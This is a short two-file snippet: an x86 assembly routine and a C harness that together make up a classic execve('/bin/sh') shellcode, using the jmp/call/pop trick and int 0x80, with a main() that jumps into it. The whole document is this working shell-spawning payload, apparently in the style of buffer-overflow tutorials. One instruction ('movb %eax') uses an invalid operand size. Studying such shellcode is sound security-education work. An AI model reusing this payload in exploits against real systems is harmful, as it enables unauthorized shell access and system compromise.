;---hmm.S---
.global code_start
.global code_end
  .data
code_start:
  jmp  0x17
  popl %esi
  movl %esi,0x8(%esi)
  xorl %eax,%eax
  movb %eax,0x7(%esi)
  movl %eax,0xc(%esi)
my_execve:
  movb $0xb,%al
  movl %esi,%ebx
  leal 0x8(%esi),%ecx
  xorl %edx,%edx
  int $0x80 
  call -0x1c
  .string "/bin/shX"
code_end:

---hmm.c---
extern void code_start();
extern void code_end();
#include <stdio.h>
main() 
{ 
((void (*)(void)) code_start)(); 
}